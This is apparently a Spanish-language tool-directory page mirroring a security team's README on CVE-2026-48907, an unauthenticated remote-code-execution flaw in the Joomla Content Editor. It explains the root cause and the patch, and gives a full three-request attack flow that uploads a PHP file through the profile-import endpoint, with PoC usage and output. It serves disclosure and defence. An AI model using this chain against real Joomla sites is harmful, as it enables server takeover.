Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-48907 — Prueba de concepto de exploit y análisis técnico para CVE-2026-48907, una vulnerabilidad de ejecución remota de código sin autenticación previa con CVSS 10.0 en el Editor de Contenido de Joomla (JCE). Incluye una cadena de ataque de 3 solicitudes y un desglose detallado del parche. | Kitploit
Herramientas/GitHubGitHub/grayxploit/cve-2026-48907
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubgrayxploit/cve-2026-48907

CVE-2026-48907

Ver Repositorio
3hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Prueba de concepto de exploit y análisis técnico para CVE-2026-48907, una vulnerabilidad de ejecución remota de código sin autenticación previa con CVSS 10.0 en el Editor de Contenido de Joomla (JCE). Incluye una cadena de ataque de 3 solicitudes y un desglose detallado del parche.

Compartir

CVE-2026-48907 — RCE no autenticado en Joomla Content Editor (JCE) ≤ 2.9.99.4

Exploit de prueba de concepto para CVE-2026-48907 — una vulnerabilidad de ejecución remota de código (RCE) CVSS 10.0 previa a la autenticación en la extensión Joomla Content Editor (JCE).
Investigación del Grayxploit Security Team

Gemini_Generated_Image_2i4b4p2i4b4p2i4b

Índice

  • Descripción general
  • Versiones afectadas
  • Detalles de la vulnerabilidad
  • Flujo del ataque
  • Prueba de concepto
  • Análisis del parche
  • Remediación
  • Cronología
  • Referencias
  • Aviso legal

Descripción general

CVE-2026-48907 es una vulnerabilidad crítica de ejecución remota de código (RCE) no autenticada que afecta a la extensión Joomla Content Editor (JCE) — el editor de Joomla más instalado — en todas las versiones hasta la 2.9.99.4 inclusive.

Al encadenar tres debilidades de seguridad independientes en el flujo de importación de perfiles de JCE, un atacante completamente no autenticado puede:

  • Subir un webshell PHP arbitrario al directorio /tmp/ del servidor
  • Desencadenar la ejecución de ese webshell a través de HTTP
  • Lograr ejecución remota de código (RCE) completa sin credenciales, sin interacción del usuario y sin una posición de red especial

El ataque solo requiere 3 peticiones HTTP y funciona contra cualquier instalación predeterminada de Joomla que ejecute una versión vulnerable de JCE.

Puntuación CVSS v4: 10.0 — Crítica

Descubierta y divulgada públicamente por el equipo de investigación de seguridad Grayxploit tras una divulgación responsable.


Versiones afectadas

SoftwareVersiones vulnerablesVersión parcheada
Joomla Content Editor (JCE)≤ 2.9.99.42.9.99.6 (recomendada)

Nota: la 2.9.99.5 introdujo la corrección principal. La 2.9.99.6 añadió capas de endurecimiento adicionales. Actualice a 2.9.99.6 o posterior.


Detalles de la vulnerabilidad

La vulnerabilidad se origina en el endpoint de importación de perfiles de JCE:

root@kitploit:~
POST /index.php?option=com_jce&task=profiles.import

JCE permite a los administradores exportar e importar perfiles de editor como archivos XML. El manejador de importación es accesible sin autenticación y acepta cargas de archivos arbitrarias debido a una cadena de tres debilidades independientes.

Debilidad 1 — Autorización faltante (CWE-862)

El controlador de importación no realizaba ninguna comprobación de ACL:

root@kitploit:~
public function import()
{
    // Only gate: CSRF token — trivially bypassable
    Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

    $app = Factory::getApplication();
    // … straight into file handling — no authorise() check
}

Joomla incorpora el token CSRF en cada página pública como una metaetiqueta o variable JS:

root@kitploit:~
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />

Un atacante simplemente obtiene la página de inicio, extrae el token y lo reutiliza. La comprobación CSRF evita las peticiones entre sitios — no evita las peticiones directas mediante scripts. No había ninguna llamada a Factory::getUser() ni a $user->authorise(...) en ninguna parte de la ruta de importación.


Debilidad 2 — Sin validación de extensión de archivo (CWE-434)

El manejador de carga usaba File::makeSafe(), que solo elimina los caracteres ilegales del sistema de archivos — no valida ni restringe las extensiones de archivo:

root@kitploit:~
$file = $app->input->files->get('profile_file', null, 'raw');

if (!is_uploaded_file($file['tmp_name'])) { return false; }

$name = File::makeSafe($file['name']); // strips illegal chars only

$destination = $config->get('tmp_path') . '/' . $name;
$source      = $file['tmp_name'];

File::upload($source, $destination, false, true);

Un nombre de archivo como shell.xml.php pasa por File::makeSafe() sin modificarse. El mod_php de Apache lo ejecuta porque la última extensión reconocida es .php. Extensiones como .php, .php5, .phtml y las variantes de doble extensión eran todas aceptadas.


Debilidad 3 — File::upload() llamado con $allow_unsafe = true (CWE-116)

El método File::upload() de Joomla tiene una lista negra de extensiones integrada que bloquea los tipos de archivo peligrosos cuando $allow_unsafe = false (el valor predeterminado):

root@kitploit:~
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)

El código vulnerable de JCE deshabilitaba explícitamente esta red de seguridad:

root@kitploit:~
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);

Este único booleano desactivó por completo la lista negra interna de extensiones de Joomla, lo que permitió que .php, .php5, .phtml y todas las demás extensiones ejecutables se escribieran en el disco.


Flujo del ataque

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ① GET /                                                       │
│     ← Extract csrf_token from HTML/JS                           │
│                                                                 │
│  ② POST /index.php?option=com_jce&task=profiles.import         │
│     Content-Type: multipart/form-data                           │
│                                                                 │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="task"                 │
│     profiles.import                                             │
│     --boundary                                                  │
│     Content-Disposition: form-data; name="<csrf_token>"         │
│     1                                                           │
│     --boundary                                                  │
│     Content-Disposition: form-data;                             │
│       name="profile_file";                                      │
│       filename="shell-<hash>.xml.php"                           │
│     Content-Type: application/xml                               │
│                                                                 │
│     <?= 45*69 ?>                                                │
│     --boundary--                                                │
│                                                                 │
│     ← 200 OK (file written to /var/www/html/tmp/)               │
│                                                                 │
│  ③ GET /tmp/shell-<hash>.xml.php                               │
│     ← Response: "3105"  (45 × 69 = RCE confirmed ✓)             │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

  No session cookie. No username. No password. 3 HTTP requests.

Prueba de concepto

⚠️ Este PoC se proporciona estrictamente para investigación de seguridad autorizada y pruebas de penetración. No lo utilice contra ningún sistema sin permiso escrito explícito. El uso no autorizado es ilegal y poco ético.

Requisitos

root@kitploit:~
pip3 install requests

Uso

root@kitploit:~
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py

Salida esperada (objetivo vulnerable)

[] Target : http://localhost:9999

[] Payload : cve-2026-48907-4821.xml.php [] Step 1 — Fetching CSRF token...

[+] CSRF token: abcdef1234567890abcdef1234567890

[] Step 2 — Uploading payload...

[+] Upload response: HTTP 200

[*] Step 3 — Triggering payload execution...

[+] Response: 3105

[CRITICAL] RCE CONFIRMED — CVE-2026-48907

Target http://localhost:9999 is VULNERABLE


Análisis del parche

Las tres debilidades se corrigieron en JCE 2.9.99.5, con endurecimiento adicional incluido en 2.9.99.6.

Corrección 1 — Comprobación de autorización añadida (remediación de CWE-862)

controller/profiles.php:

root@kitploit:~
$user = Factory::getUser();

if (!$user->authorise('core.manage', 'com_jce')) {
    throw new Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}

Los usuarios invitados (id = 0) fallan authorise() inmediatamente. La petición se rechaza antes de que se gestione ningún archivo.

Corrección 2 — Lista blanca estricta de extensiones (remediación de CWE-434)

models/profile.php:

root@kitploit:~
$extension = PATHINFO($name, PATHINFO_EXTENSION);

if (strtolower($extension) !== 'xml') {
    $app->enqueueMessage(Text::_('WF_PROFILES_IMPORT_INVALID_FILE'), 'error');
    return false;
}

PATHINFO_EXTENSION devuelve solo la extensión final. shell.xml.php → php → rechazado. Neutraliza todas las evasiones de extensiones múltiples.

Corrección 3 — Indicador inseguro eliminado (remediación de CWE-116)

root@kitploit:~
// Before (vulnerable)
File::upload($source, $destination, false, true);

// After (patched)
File::upload($source, $destination, false);

La lista negra interna de extensiones de Joomla se reactiva como capa de defensa independiente.

Endurecimiento adicional en 2.9.99.6

CorrecciónDetalle
Límite de tamaño de cargaRechaza archivos de más de 512 KB
Protección XXElibxml_disable_entity_loader(true) retroportado a PHP 7.x
Lista blanca de campos XMLSolo se procesan claves XML conocidas como seguras; las claves arbitrarias se ignoran silenciosamente

Remediación

PrioridadAcción
🔴 InmediataActualice JCE a ≥ 2.9.99.6
🟠 AltaBloquee o restrinja el acceso web a /tmp/ a nivel de servidor
🟠 AltaDeshabilite la ejecución de PHP en directorios temporales mediante .htaccess o la configuración del servidor
🟡 MediaAñada una regla WAF para alertar o bloquear com_jce&task=profiles.import desde sesiones no autenticadas
🟡 MediaAudite otras extensiones de Joomla en busca de File::upload(..., true) sin validación de extensiones

Deshabilitar PHP en /tmp/ mediante .htaccess

root@kitploit:~
<Directory /var/www/html/tmp>
    php_flag engine off
    <FilesMatch "\.ph(p[2-9]?|tml)$">
        Deny from all
    </FilesMatch>
</Directory>

Cronología

FechaEvento
2026-05-XXVulnerabilidad descubierta por el equipo de investigación de Grayxploit
2026-05-XXDivulgación responsable enviada a los mantenedores de JCE
2026-06-XXCVE-2026-48907 asignado por MITRE
2026-06-XXJCE 2.9.99.5 publicada — corrección principal
2026-06-12JCE 2.9.99.6 publicada — endurecimiento adicional
2026-06-12Divulgación pública por Grayxploit

Referencias

  • NVD — CVE-2026-48907
  • Blog de Grayxploit — Análisis completo
  • Sitio oficial de JCE
  • Aviso de seguridad de Joomla
  • CWE-862: Autorización faltante
  • CWE-434: Carga sin restricciones de un archivo con tipo peligroso

Aviso legal

Este repositorio está destinado exclusivamente a la investigación de seguridad autorizada, la educación y las pruebas de penetración en sistemas que usted posea o para los que tenga permiso escrito explícito para probar.

El equipo de Grayxploit no es responsable de ningún uso no autorizado, ilegal o malicioso del código o la información proporcionada en este repositorio.

Úselo con responsabilidad. Pruebe legalmente.


Licencia

Este proyecto está bajo la Licencia MIT.


   



¿Te ha resultado útil? Demuestra tu apoyo.

Cada estrella ayuda a que esta investigación llegue a más defensores, pentesters y miembros de blue team que la necesitan.


   




Acerca de Grayxploit

Grayxploit es un equipo independiente de investigación de seguridad centrado en el descubrimiento de vulnerabilidades, el desarrollo de exploits y la divulgación responsable en plataformas web, ecosistemas CMS y software de código abierto.

EncontramosDivulgamosUsted defiende
RCE sin autenticaciónDe forma responsable y públicaCon nuestro análisis detallado de parches
Fallos de lógica

¿Tienes algún consejo o quieres colaborar? Abre un Issue o contacta a través de nuestro perfil de GitHub.



CVE-2026-48907 — Investigación original de

🔐 Grayxploit Security Team

Rompiendo cosas. Con responsabilidad.


Descargar herramienta
Con desgloses completos de la causa raíz
Usando nuestros PoCs de forma segura
Vulnerabilidades encadenadasAntes de que comience la explotación masivaMás rápido que los actores de amenazas